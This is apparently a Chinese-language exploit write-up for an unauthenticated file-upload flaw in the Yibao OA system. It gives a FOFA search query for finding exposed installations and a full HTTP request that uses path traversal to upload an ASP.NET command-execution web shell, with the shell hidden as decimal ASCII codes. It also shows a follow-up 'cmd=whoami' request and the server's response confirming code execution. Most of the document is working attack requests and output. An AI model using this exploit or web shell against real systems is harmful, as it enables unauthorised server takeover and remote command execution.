

## Y6-2易宝-OA-文件上传

### 漏洞描述:

易宝OA系统UploadFile、BasicService.asmx等接口处存在文件上传漏洞，未授权的攻击者可以上传恶意后门程序执行任意代码，获取服务器权限

网站图片:



**网络测绘：**

**fofa语法:**

FOFA: app="顶讯科技-易宝OA系统"

### 漏洞复现:

payload:

```
POST /api/files/UploadFile HTTP/1.1
Host: your-ip
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Content-Length: 1926
```

token=zxh&FileName=../../manager/a.aspx&pathType=1&fs=[60,37,64,32,80,97,103,101,32,76,97,110,103,117,97,103,101,61,34,74,115,99,114,105,112,116,34,32,118,97,108,105,10

效果图:

PS: PoC中请求体那串数字是ASCII十进制编码的asp.net命令回显马子

Request	Responses
<pre> 1 POST /api/files/UploadFile-HTTP/1.1 2 Host: 192.168.1.1:8000 3 Accept-Encoding: gzip 4 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like   Gecko) Version/12.0.3 Safari/605.1.15 5 Content-Type: application/x-www-form-urlencoded 6 Content-Length: 1926 7 8 token=zxh&amp;fileName=../../../../manager/a.aspx&amp;pathType=1&amp;fs=[60,37,64,32,80,97,103,101,32,76,97,110,103,   117,97,103,101,61,34,74,115,99,114,105,112,116,34,32,118,97,108,105,100,97,116,101,82,101,113,117,   101,115,116,61,34,102,97,108,115,101,34,32,37,62,10,60,37,10,118,97,114,32,99,61,110,101,119,32,83,   121,115,116,101,109,46,68,105,97,103,110,111,115,116,105,99,115,46,80,114,111,99,101,115,115,83,116,   97,114,116,73,110,102,111,40,34,39,109,100,34,41,59,10,118,97,114,32,101,61,110,101,119,32,83,121,   115,116,101,109,46,68,105,97,103,110,111,115,116,105,99,115,46,80,114,111,99,101,115,115,40,41,59,   10,118,97,114,32,111,117,116,58,83,121,115,116,101,109,46,73,79,46,83,116,114,101,97,109,82,101,97,   100,101,114,44,69,73,58,83,121,115,116,101,109,46,73,79,46,83,116,114,101,97,109,82,101,97,100,101,   114,59,10,99,46,85,115,101,83,104,101,108,108,69,120,101,99,117,116,101,61,102,97,108,115,101,59,10,   99,46,82,101,100,105,114,101,99,116,83,116,97,110,100,97,114,100,79,117,116,112,117,116,61,116,114,   117,101,59,10,99,46,82,101,100,105,114,101,99,116,83,116,97,110,100,97,114,100,69,114,114,111,114,   61,116,114,117,101,59,10,101,46,83,116,97,114,116,73,110,102,111,61,99,59,10,99,46,65,114,103,117,   109,101,100,116,115,61,34,47,99,32,34,32,43,32,82,101,113,117,101,115,116,46,73,116,101,109,91,34,   99,109,100,34,93,59,10,101,46,83,116,97,114,116,40,41,59,10,111,117,116,61,101,46,83,116,97,110,100,   97,114,100,79,117,116,112,117,116,59,10,69,73,61,101,46,83,116,97,110,100,97,114,100,69,114,114,111,   114,59,10,101,46,67,108,111,115,101,40,41,59,10,82,101,115,112,111,110,115,101,46,87,114,105,116,   101,40,111,117,116,46,82,101,97,100,84,111,69,110,100,40,41,32,43,32,69,73,46,82,101,97,100,84,111, </pre>	<pre> 1 HTTP/1.1 200 OK 2 Cache-Control: no-cache 3 Pragma: no-cache 4 Content-Type: application/json; charset=utf-8 5 Expires: -1 6 Server: Microsoft-IIS/7.5 7 X-AspNet-Version: 4.0.30319 8 X-Powered-By: ASP.NET 9 Access-Control-Allow-Origin: * 10 Access-Control-Max-Age: 30 11 Access-Control-Allow-Methods: GET,POST,OPTIONS 12 Access-Control-Allow-Headers: Content-Type, Accept 13 Date: Wed, 06 Dec 2023 13:26:02 GMT 14 Content-Length: 60 15 16 {"data":true,"code":0,"message":"success","is_succeed":true} </pre>

## 命令执行

```
POST /a.aspx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Content-Length: 10
```

```
cmd=whoami
```

## Request

&lt; &gt; 数据包扫描 热加载 构造请求

```
1 POST /a.aspx HTTP/1.1
2 Host : 6:800
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like
  Gecko) Version/12.0.3 Safari/605.1.15
4 Content-Type: application/x-www-form-urlencoded
5 Accept-Encoding: gzip
6 Content-Length auto: 10
7
8 cmd=whoami
```

## Responses 29bytes / 4021ms

美化 渲染

```
1 HTTP/1.1 200 OK
2 Cache-Control: private
3 Content-Type: text/html; charset=utf-8
4 Vary: Accept-Encoding
5 Server: Microsoft-IIS/7.5
6 X-AspNet-Version: 4.0.30319
7 X-Powered-By: ASP.NET
8 Access-Control-Allow-Origin: *
9 Access-Control-Max-Age: 30
10 Access-Control-Allow-Methods: GET,POST,OPTIONS
11 Access-Control-Allow-Headers: Content-Type, Accept
12 Date: Wed, 06 Dec 2023 13:26:39 GMT
13 Content-Length: 29
14
15 iis::apppool\smartrade_2019
16
```